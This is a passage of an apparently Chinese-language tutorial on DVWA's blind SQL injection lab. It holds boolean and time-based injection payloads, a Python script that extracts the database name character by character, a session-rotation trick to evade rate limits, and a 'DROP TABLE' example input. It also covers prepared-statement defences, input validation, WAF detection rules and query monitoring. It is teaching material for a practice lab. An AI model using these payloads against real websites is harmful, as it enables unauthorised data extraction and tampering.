class="number">1</span><span class="string">&#x27; AND 1=1 --</span></span><br><span class="line"><span class="string">1&#x27;</span> <span class="keyword">AND</span> (<span class="keyword">SELECT</span> <span class="built_in">SUBSTRING</span>(database(),<span class="number">1</span>,<span class="number">1</span>))<span class="operator">=</span><span class="string">&#x27;d&#x27;</span> <span class="comment">--</span></span><br><span class="line"></span><br><span class="line"><span class="comment">-- 使用#注释</span></span><br><span class="line"><span class="number">1</span><span class="string">&#x27; AND 1=1 #</span></span><br></pre></td></tr></table></figure><h4 id="方法2：容忍速率限制"><a href="#方法2：容忍速率限制" class="headerlink" title="方法2：容忍速率限制"></a>方法2：容忍速率限制</h4><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">import</span> requests</span><br><span class="line"><span class="keyword">import</span> time</span><br><span class="line"></span><br><span class="line">url = <span class="string">&quot;http://dvwa.local/vulnerabilities/sqli_blind/&quot;</span></span><br><span class="line"></span><br><span class="line"><span class="comment"># 创建Session（保持Cookie）</span></span><br><span class="line">session = requests.Session()</span><br><span class="line">session.cookies.<span class="built_in">set</span>(<span class="string">&#x27;security&#x27;</span>, <span class="string">&#x27;high&#x27;</span>)</span><br><span class="line">session.cookies.<span class="built_in">set</span>(<span class="string">&#x27;PHPSESSID&#x27;</span>, <span class="string">&#x27;your_session&#x27;</span>)</span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">check_condition</span>(<span class="params">condition</span>):</span><br><span class="line">    payload = <span class="string">f&quot;1&#x27; AND <span class="subst">&#123;condition&#125;</span> --&quot;</span></span><br><span class="line"></span><br><span class="line">    <span class="comment"># 设置Cookie</span></span><br><span class="line">    session.cookies.<span class="built_in">set</span>(<span class="string">&#x27;id&#x27;</span>, payload)</span><br><span class="line"></span><br><span class="line">    response = session.get(url)</span><br><span class="line"></span><br><span class="line">    <span class="comment"># High难度可能有延迟，需要更长超时</span></span><br><span class="line">    <span class="keyword">return</span> <span class="string">&#x27;exists&#x27;</span> <span class="keyword">in</span> response.text</span><br><span class="line"></span><br><span class="line"><span class="comment"># 继续盲注（虽然慢，但可行）</span></span><br><span class="line">result = <span class="string">&quot;&quot;</span></span><br><span class="line"><span class="keyword">for</span> i <span class="keyword">in</span> <span class="built_in">range</span>(<span class="number">1</span>, <span class="number">5</span>):</span><br><span class="line">    <span class="keyword">for</span> c <span class="keyword">in</span> <span class="string">&#x27;abcdefghijklmnopqrstuvwxyz&#x27;</span>:</span><br><span class="line">        <span class="keyword">if</span> check_condition(<span class="string">f&quot;(SELECT SUBSTRING(database(),<span class="subst">&#123;i&#125;</span>,1))=&#x27;<span class="subst">&#123;c&#125;</span>&#x27;&quot;</span>):</span><br><span class="line">            result += c</span><br><span class="line">            <span class="built_in">print</span>(<span class="string">f&quot;Found: <span class="subst">&#123;result&#125;</span>&quot;</span>)</span><br><span class="line">            <span class="keyword">break</span></span><br><span class="line"></span><br><span class="line">    <span class="comment"># 增加延迟以适应限流</span></span><br><span class="line">    time.sleep(<span class="number">1</span>)</span><br></pre></td></tr></table></figure><h4 id="方法3：使用多个Session绕过限流"><a href="#方法3：使用多个Session绕过限流" class="headerlink" title="方法3：使用多个Session绕过限流"></a>方法3：使用多个Session绕过限流</h4><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># 当一个Session被限流，切换到另一个</span></span><br><span class="line">sessions = []</span><br><span class="line"><span class="keyword">for</span> i <span class="keyword">in</span> <span class="built_in">range</span>(<span class="number">10</span>):</span><br><span class="line">    s = requests.Session()</span><br><span class="line">    s.cookies.<span class="built_in">set</span>(<span class="string">&#x27;security&#x27;</span>, <span class="string">&#x27;high&#x27;</span>)</span><br><span class="line">    s.cookies.<span class="built_in">set</span>(<span class="string">&#x27;PHPSESSID&#x27;</span>, <span class="string">f&#x27;session_<span class="subst">&#123;i&#125;</span>&#x27;</span>)</span><br><span class="line">    sessions.append(s)</span><br><span class="line"></span><br><span class="line">current_session = <span class="number">0</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">check_with_rotation</span>(<span class="params">condition</span>):</span><br><span class="line">    <span class="keyword">global</span> current_session</span><br><span class="line">    session = sessions[current_session]</span><br><span class="line"></span><br><span class="line">    <span class="comment"># 每3次请求切换Session</span></span><br><span class="line">    <span class="keyword">if</span> current_session % <span class="number">3</span> == <span class="number">0</span>:</span><br><span class="line">        current_session = (current_session + <span class="number">1</span>) % <span class="built_in">len</span>(sessions)</span><br><span class="line"></span><br><span class="line">    <span class="comment"># 使用当前Session检查</span></span><br><span class="line">    <span class="comment"># ...</span></span><br></pre></td></tr></table></figure><h4 id="方法4：时间盲注（不受LIMIT影响）"><a href="#方法4：时间盲注（不受LIMIT影响）" class="headerlink" title="方法4：时间盲注（不受LIMIT影响）"></a>方法4：时间盲注（不受LIMIT影响）</h4><figure class="highlight sql"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">-- 时间盲注不受LIMIT限制</span></span><br><span class="line"><span class="number">1</span><span class="string">&#x27; AND SLEEP(5) --</span></span><br><span class="line"><span class="string">响应慢 → 注入成功</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">-- 提取数据</span></span><br><span class="line"><span class="string">1&#x27;</span> <span class="keyword">AND</span> IF((<span class="keyword">SELECT</span> <span class="built_in">SUBSTRING</span>(database(),<span class="number">1</span>,<span class="number">1</span>))<span class="operator">=</span><span class="string">&#x27;d&#x27;</span>, SLEEP(<span class="number">3</span>), <span class="number">0</span>) <span class="comment">--</span></span><br></pre></td></tr></table></figure><hr><h2 id="Impossible-难度"><a href="#Impossible-难度" class="headerlink" title="Impossible 难度"></a>Impossible 难度</h2><h3 id="攻击目标-3"><a href="#攻击目标-3" class="headerlink" title="攻击目标"></a>攻击目标</h3><p>使用PDO预编译语句，真正安全。</p><h3 id="后端代码分析-3"><a href="#后端代码分析-3" class="headerlink" title="后端代码分析"></a>后端代码分析</h3><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">&lt;?php</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span>( <span class="keyword">isset</span>( <span class="variable">$_GET</span>[ <span class="string">&#x27;Submit&#x27;</span> ] ) ) &#123;</span><br><span class="line"></span><br><span class="line">    <span class="comment">// ★★★ 改进1：验证Anti-CSRF token ★★★</span></span><br><span class="line">    <span class="comment">// checkToken() - 验证CSRF token</span></span><br><span class="line">    <span class="comment">// 防止跨站请求伪造</span></span><br><span class="line">    <span class="title function_ invoke__">checkToken</span>( <span class="variable">$_REQUEST</span>[ <span class="string">&#x27;user_token&#x27;</span> ], <span class="variable">$_SESSION</span>[ <span class="string">&#x27;session_token&#x27;</span> ], <span class="string">&#x27;index.php&#x27;</span> );</span><br><span class="line"></span><br><span class="line">    <span class="comment">// 获取用户输入</span></span><br><span class="line">    <span class="variable">$id</span> = <span class="variable">$_GET</span>[ <span class="string">&#x27;id&#x27;</span> ];</span><br><span class="line"></span><br><span class="line">    <span class="comment">// ★★★ 改进2：输入验证 ★★★</span></span><br><span class="line">    <span class="comment">// is_numeric() - 检查是否为数字</span></span><br><span class="line">    <span class="comment">// 如果不是数字，直接拒绝</span></span><br><span class="line">    <span class="comment">//</span></span><br><span class="line">    <span class="comment">// 这是白名单验证：只接受数字</span></span><br><span class="line">    <span class="keyword">if</span>( <span class="title function_ invoke__">is_numeric</span>( <span class="variable">$id</span> ) ) &#123;</span><br><span class="line"></span><br><span class="line">        <span class="comment">// ★★★ 核心防护：PDO预编译语句 ★★★</span></span><br><span class="line">        <span class="comment">// $db - PDO数据库连接对象</span></span><br><span class="line">        <span class="comment">// prepare() - 准备SQL语句</span></span><br><span class="line">        <span class="comment">// :id - 命名参数占位符</span></span><br><span class="line">        <span class="comment">//</span></span><br><span class="line">        <span class="comment">// 原理：</span></span><br><span class="line">        <span class="comment">// 1. SQL结构和数据完全分离</span></span><br><span class="line">        <span class="comment">// 2. 参数永远不会被当作SQL代码执行</span></span><br><span class="line">        <span class="comment">// 3. 数据库引擎知道:id是数据，不是代码</span></span><br><span class="line">        <span class="variable">$data</span> = <span class="variable">$db</span>-&gt;<span class="title function_ invoke__">prepare</span>( <span class="string">&#x27;SELECT first_name, last_name FROM users WHERE user_id = :id LIMIT 1;&#x27;</span> );</span><br><span class="line"></span><br><span class="line">        <span class="comment">// ★★★ 绑定参数 ★★★</span></span><br><span class="line">        <span class="comment">// bindParam() - 将变量绑定到参数</span></span><br><span class="line">        <span class="comment">// PDO::PARAM_INT - 参数类型为整数</span></span><br><span class="line">        <span class="comment">//</span></span><br><span class="line">        <span class="comment">// 作用：</span></span><br><span class="line">        <span class="comment">// 1. 明确指定参数类型</span></span><br><span class="line">        <span class="comment">// 2. 防止类型混淆攻击</span></span><br><span class="line">        <span class="variable">$data</span>-&gt;<span class="title function_ invoke__">bindParam</span>( <span class="string">&#x27;:id&#x27;</span>, <span class="variable">$id</span>, PDO::<span class="variable constant_">PARAM_INT</span> );</span><br><span class="line"></span><br><span class="line">        <span class="comment">// ★★★ 执行查询 ★★★</span></span><br><span class="line">        <span class="comment">// execute() - 执行预编译语句</span></span><br><span class="line">        <span class="comment">// 此时才真正执行SQL</span></span><br><span class="line">        <span class="comment">// 参数值被安全地插入</span></span><br><span class="line">        <span class="variable">$data</span>-&gt;<span class="title function_ invoke__">execute</span>();</span><br><span class="line"></span><br><span class="line">        <span class="comment">// ★★★ 获取结果 ★★★</span></span><br><span class="line">        <span class="comment">// fetch() - 获取一行结果</span></span><br><span class="line">        <span class="comment">// 如果没有结果，返回false</span></span><br><span class="line">        <span class="keyword">if</span>( <span class="variable">$data</span>-&gt;<span class="title function_ invoke__">rowCount</span>() == <span class="number">1</span> ) &#123;</span><br><span class="line">            <span class="comment">// ★★★ 改进3：显示具体数据 ★★★</span></span><br><span class="line">            <span class="comment">// 因为已经完全安全，可以显示数据</span></span><br><span class="line">            <span class="variable">$row</span> = <span class="variable">$data</span>-&gt;<span class="title function_ invoke__">fetch</span>();</span><br><span class="line">            <span class="keyword">echo</span> <span class="string">&#x27;&lt;pre&gt;User ID exists in the database.&lt;/pre&gt;&#x27;</span>;</span><br><span class="line">            <span class="keyword">echo</span> <span class="string">&#x27;&lt;pre&gt;First name: &#x27;</span> . <span class="variable">$row</span>[ <span class="string">&#x27;first_name&#x27;</span> ] . <span class="string">&#x27;&lt;/pre&gt;&#x27;</span>;</span><br><span class="line">            <span class="keyword">echo</span> <span class="string">&#x27;&lt;pre&gt;Surname: &#x27;</span> . <span class="variable">$row</span>[ <span class="string">&#x27;last_name&#x27;</span> ] . <span class="string">&#x27;&lt;/pre&gt;&#x27;</span>;</span><br><span class="line">        &#125;</span><br><span class="line">        <span class="keyword">else</span> &#123;</span><br><span class="line">            <span class="keyword">echo</span> <span class="string">&#x27;&lt;pre&gt;User ID is MISSING from the database.&lt;/pre&gt;&#x27;</span>;</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">else</span> &#123;</span><br><span class="line">        <span class="comment">// ★★★ 输入不是数字，直接拒绝 ★★★</span></span><br><span class="line">        <span class="keyword">echo</span> <span class="string">&#x27;&lt;pre&gt;Invalid input: must be numeric&lt;/pre&gt;&#x27;</span>;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">// ★★★ 生成新的CSRF token ★★★</span></span><br><span class="line"><span class="title function_ invoke__">generateSessionToken</span>();</span><br><span class="line"></span><br><span class="line"><span class="meta">?&gt;</span></span><br></pre></td></tr></table></figure><h3 id="完善的防护机制"><a href="#完善的防护机制" class="headerlink" title="完善的防护机制"></a>完善的防护机制</h3><p><strong>多层防御：</strong></p><ol><li><strong>CSRF Token</strong> - 防止跨站请求伪造</li><li><strong>输入验证</strong> - is_numeric()白名单</li><li><strong>PDO预编译</strong> - SQL结构和数据分离</li><li><strong>参数类型绑定</strong> - PDO::PARAM_INT</li><li><strong>LIMIT限制</strong> - 防止返回过多数据</li></ol><p><strong>PDO预编译工作原理：</strong></p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br></pre></td><td class="code"><pre><span class="line">传统拼接（不安全）:</span><br><span class="line"><span class="variable">$query</span> = <span class="string">&quot;SELECT * FROM users WHERE id = &#x27;<span class="variable">$id</span>&#x27;&quot;</span>;</span><br><span class="line">↓</span><br><span class="line">攻击：<span class="variable">$id</span> = <span class="string">&quot;1&#x27; OR &#x27;1&#x27;=&#x27;1&quot;</span></span><br><span class="line">↓</span><br><span class="line">结果：SELECT * FROM <span class="built_in">users</span> WHERE <span class="built_in">id</span> = <span class="string">&#x27;1&#x27;</span> OR <span class="string">&#x27;1&#x27;</span>=<span class="string">&#x27;1&#x27;</span></span><br><span class="line">↓</span><br><span class="line">SQL注入成功！</span><br><span class="line"></span><br><span class="line">PDO预编译（安全）:</span><br><span class="line"><span class="variable">$stmt</span> = <span class="variable">$db</span>-&gt;prepare(<span class="string">&quot;SELECT * FROM users WHERE id = :id&quot;</span>);</span><br><span class="line"><span class="variable">$stmt</span>-&gt;bindParam(<span class="string">&#x27;:id&#x27;</span>, <span class="variable">$id</span>, PDO::PARAM_INT);</span><br><span class="line"><span class="variable">$stmt</span>-&gt;execute();</span><br><span class="line">↓</span><br><span class="line">攻击：<span class="variable">$id</span> = <span class="string">&quot;1&#x27; OR &#x27;1&#x27;=&#x27;1&quot;</span></span><br><span class="line">↓</span><br><span class="line">PDO处理：将<span class="string">&quot;1&#x27; OR &#x27;1&#x27;=&#x27;1&quot;</span>作为整数0</span><br><span class="line">或拒绝（不是有效整数）</span><br><span class="line">↓</span><br><span class="line">SQL注入失败！</span><br></pre></td></tr></table></figure><h3 id="为什么无法攻破？"><a href="#为什么无法攻破？" class="headerlink" title="为什么无法攻破？"></a>为什么无法攻破？</h3><p><strong>所有攻击都被阻止：</strong></p><figure class="highlight isbl"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br></pre></td><td class="code"><pre><span class="line">攻击<span class="number">1</span>：<span class="number">1</span><span class="string">&#x27; OR &#x27;</span><span class="number">1</span><span class="string">&#x27;=&#x27;</span><span class="number">1</span></span><br><span class="line"><span class="function"><span class="title">is_numeric</span>() → <span class="variable"><span class="literal">False</span></span> → 拒绝</span></span><br><span class="line"><span class="function"></span></span><br><span class="line"><span class="function">攻击<span class="number">2</span>：<span class="number">1</span> <span class="variable"><span class="keyword">OR</span></span> <span class="number">1</span>=<span class="number">1</span></span></span><br><span class="line"><span class="function"><span class="title">is_numeric</span>() → <span class="variable"><span class="literal">False</span></span> → 拒绝（包含空格）</span></span><br><span class="line"><span class="function"></span></span><br><span class="line"><span class="function">攻击<span class="number">3</span>：<span class="number">1</span></span></span><br><span class="line"><span class="function"><span class="title">is_numeric</span>() → <span class="variable"><span class="literal">True</span></span></span></span><br><span class="line"><span class="function"><span class="variable">PDO</span> → 安全执行</span></span><br><span class="line"><span class="function">结果：正常查询，无法注入</span></span><br><span class="line"><span class="function"></span></span><br><span class="line"><span class="function">攻击<span class="number">4</span>：<span class="number">1</span>; <span class="variable">DROP</span> <span class="variable">TABLE</span> <span class="variable">users</span>; --</span></span><br><span class="line"><span class="function"><span class="title">is_numeric</span>() → <span class="variable"><span class="literal">False</span></span> → 拒绝</span></span><br><span class="line"><span class="function"></span></span><br><span class="line"><span class="function">攻击<span class="number">5</span>：使用十六进制/<span class="variable">Unicode</span>绕过</span></span><br><span class="line"><span class="function"><span class="title">is_numeric</span>() → <span class="variable"><span class="literal">False</span></span> → 拒绝</span></span><br></pre></td></tr></table></figure><p><strong>关键防御点：</strong></p><ol><li><strong>白名单验证</strong> - 只接受数字</li><li><strong>预编译语句</strong> - SQL结构固定</li><li><strong>参数绑定</strong> - 类型强制转换</li><li><strong>双重保护</strong> - 验证 + PDO</li></ol><hr><h2 id="防御建议"><a href="#防御建议" class="headerlink" title="防御建议"></a>防御建议</h2><h3 id="代码层面"><a href="#代码层面" class="headerlink" title="代码层面"></a>代码层面</h3><h4 id="1-使用PDO预编译（最佳方案）"><a href="#1-使用PDO预编译（最佳方案）" class="headerlink" title="1. 使用PDO预编译（最佳方案）"></a>1. 使用PDO预编译（最佳方案）</h4><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// ✅ 正确：PDO预编译</span></span><br><span class="line"><span class="variable">$stmt</span> = <span class="variable">$pdo</span>-&gt;<span class="title function_ invoke__">prepare</span>(<span class="string">&#x27;SELECT * FROM users WHERE id = :id&#x27;</span>);</span><br><span class="line"><span class="variable">$stmt</span>-&gt;<span class="title function_ invoke__">bindParam</span>(<span class="string">&#x27;:id&#x27;</span>, <span class="variable">$id</span>, PDO::<span class="variable constant_">PARAM_INT</span>);</span><br><span class="line"><span class="variable">$stmt</span>-&gt;<span class="title function_ invoke__">execute</span>();</span><br><span class="line"></span><br><span class="line"><span class="comment">// 或使用execute()直接传递参数</span></span><br><span class="line"><span class="variable">$stmt</span> = <span class="variable">$pdo</span>-&gt;<span class="title function_ invoke__">prepare</span>(<span class="string">&#x27;SELECT * FROM users WHERE id = ?&#x27;</span>);</span><br><span class="line"><span class="variable">$stmt</span>-&gt;<span class="title function_ invoke__">execute</span>([<span class="variable">$id</span>]);</span><br></pre></td></tr></table></figure><h4 id="2-输入验证和白名单"><a href="#2-输入验证和白名单" class="headerlink" title="2. 输入验证和白名单"></a>2. 输入验证和白名单</h4><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// 验证数字</span></span><br><span class="line"><span class="keyword">if</span> (!<span class="title function_ invoke__">is_numeric</span>(<span class="variable">$id</span>)) &#123;</span><br><span class="line">    <span class="keyword">die</span>(<span class="string">&#x27;Invalid input&#x27;</span>);</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">// 验证字符串（白名单）</span></span><br><span class="line"><span class="variable">$allowed</span> = [<span class="string">&#x27;admin&#x27;</span>, <span class="string">&#x27;user&#x27;</span>, <span class="string">&#x27;guest&#x27;</span>];</span><br><span class="line"><span class="keyword">if</span> (!<span class="title function_ invoke__">in_array</span>(<span class="variable">$input</span>, <span class="variable">$allowed</span>)) &#123;</span><br><span class="line">    <span class="keyword">die</span>(<span class="string">&#x27;Invalid input&#x27;</span>);</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">// 正则验证</span></span><br><span class="line"><span class="keyword">if</span> (!<span class="title function_ invoke__">preg_match</span>(<span class="string">&#x27;/^[a-zA-Z0-9_]+$/&#x27;</span>, <span class="variable">$input</span>)) &#123;</span><br><span class="line">    <span class="keyword">die</span>(<span class="string">&#x27;Invalid characters&#x27;</span>);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h4 id="3-最小权限原则"><a href="#3-最小权限原则" class="headerlink" title="3. 最小权限原则"></a>3. 最小权限原则</h4><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// 数据库用户只有SELECT权限</span></span><br><span class="line"><span class="comment">// 即使被注入，也无法DELETE/UPDATE/DROP</span></span><br><span class="line"></span><br><span class="line"><span class="comment">// config.php</span></span><br><span class="line"><span class="variable">$db_user</span> = <span class="string">&#x27;read_only_user&#x27;</span>; <span class="comment">// 只读用户</span></span><br><span class="line"><span class="variable">$db_pass</span> = <span class="string">&#x27;secure_password&#x27;</span>;</span><br><span class="line"></span><br><span class="line"><span class="comment">// 授权（在MySQL中）</span></span><br><span class="line">GRANT SELECT ON database.* TO <span class="string">&#x27;read_only_user&#x27;</span>@<span class="string">&#x27;localhost&#x27;</span>;</span><br></pre></td></tr></table></figure><h4 id="4-错误处理"><a href="#4-错误处理" class="headerlink" title="4. 错误处理"></a>4. 错误处理</h4><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// ❌ 不要显示数据库错误</span></span><br><span class="line"><span class="comment">// die(mysql_error());</span></span><br><span class="line"></span><br><span class="line"><span class="comment">// ✅ 记录错误到日志</span></span><br><span class="line"><span class="keyword">try</span> &#123;</span><br><span class="line">    <span class="variable">$stmt</span>-&gt;<span class="title function_ invoke__">execute</span>();</span><br><span class="line">&#125; <span class="keyword">catch</span> (PDOException <span class="variable">$e</span>) &#123;</span><br><span class="line">    <span class="title function_ invoke__">error_log</span>(<span class="string">&#x27;Database error: &#x27;</span> . <span class="variable">$e</span>-&gt;<span class="title function_ invoke__">getMessage</span>());</span><br><span class="line">    <span class="keyword">die</span>(<span class="string">&#x27;An error occurred&#x27;</span>);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h3 id="检测层面"><a href="#检测层面" class="headerlink" title="检测层面"></a>检测层面</h3><h4 id="1-WAF规则"><a href="#1-WAF规则" class="headerlink" title="1. WAF规则"></a>1. WAF规则</h4><figure class="highlight nginx"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># ModSecurity规则示例</span></span><br><span class="line"><span class="attribute">SecRule</span> ARGS <span class="string">&quot;<span class="variable">@detectSQLi</span>&quot;</span> \</span><br><span class="line">    <span class="string">&quot;id:1000,phase:2,block,msg:&#x27;SQL Injection Detected&#x27;&quot;</span></span><br><span class="line"></span><br><span class="line"><span class="comment"># 检测常见SQL注入模式</span></span><br><span class="line">SecRule ARGS <span class="string">&quot;<span class="variable">@rx</span> (union|select|insert|update|delete|drop|exec|script)&quot;</span> \</span><br><span class="line">    <span class="string">&quot;id:1001,phase:2,block,msg:&#x27;SQL Keyword Detected&#x27;&quot;</span></span><br></pre></td></tr></table></figure><h4 id="2-监控异常查询"><a href="#2-监控异常查询" class="headerlink" title="2. 监控异常查询"></a>2. 监控异常查询</h4><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// 记录慢查询</span></span><br><span class="line"><span class="variable">$start</span> = <span class="title function_ invoke__">microtime</span>(<span class="literal">true</span>);</span><br><span class="line"><span class="variable">$stmt</span>-&gt;<span class="title function_ invoke__">execute</span>();</span><br><span class="line"><span class="variable">$duration</span> = <span class="title function_ invoke__">microtime</span>(<span class="literal">true</span>) - <span class="variable">$start</span>;</span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span> (<span class="variable">$duration</span> &gt; <span class="number">1.0</span>) &#123;</span><br><span class="line">    <span class="comment">// 查询超过1秒，可能是时间盲注</span></span><br><span class="line">    <span class="title function_ invoke__">logSecurityEvent</span>(<span class="string">&#x27;Slow query detected&#x27;</span>, [</span><br><span class="line">        <span class="string">&#x27;duration&#x27;</span> =&gt; <span class="variable">$duration</span>,</span><br><span class="line">        <span class="string">&#x27;ip&#x27;</span> =&gt; <span class="variable">$_SERVER</span>[<span class="string">&#x27;REMOTE_ADDR&#x27;</span>],</span><br><span class="line">        <span class="string">&#x27;query&#x27;</span> =&gt; <span class="variable">$query</span></span><br><span class="line">    ]);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h4 id="3-限流和账户锁定"><a href="#3-限流和账户锁定" class="headerlink" title="3. 限流和账户锁定"></a>3. 限流和账户锁定</h4><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// 检测暴力破解</span></span><br><span class="line"><span class="function"><span class="keyword">function</span> <span class="title">checkAttempts</span>(<span class="params"><span class="variable">$ip</span></span>) </span>&#123;</span><br><span class="line">    <span class="variable">$attempts</span> = <span class="title function_ invoke__">getAttempts</span>(<span class="variable">$ip</span>, <span class="number">60</span>); <span class="comment">// 过去60秒</span></span><br><span class="line"></span><br><span class="line">    <span class="keyword">if</span> (<span class="variable">$attempts</span> &gt; <span class="number">10</span>) &#123;</span><br><span class="line">        <span class="comment">// 锁定IP 5分钟</span></span><br><span class="line">        <span class="title function_ invoke__">lockIP</span>(<span class="variable">$ip</span>, <span class="number">300</span>);</span><br><span class="line">        <span class="keyword">die</span>(<span class="string">&#x27;Too many attempts&#x27;</span>);</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="title function_ invoke__">recordAttempt</span>(<span class="variable">$ip</span>);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h3 id="工具使用"><a href="#工具使用" class="headerlink" title="工具使用"></a>工具使用</h3><h4 id="SQLMap防御测试"><a href="#SQLMap防御测试" class="headerlink" title="SQLMap防御测试"></a>SQLMap防御测试</h4><figure class="highlight bash"><table><tr><td 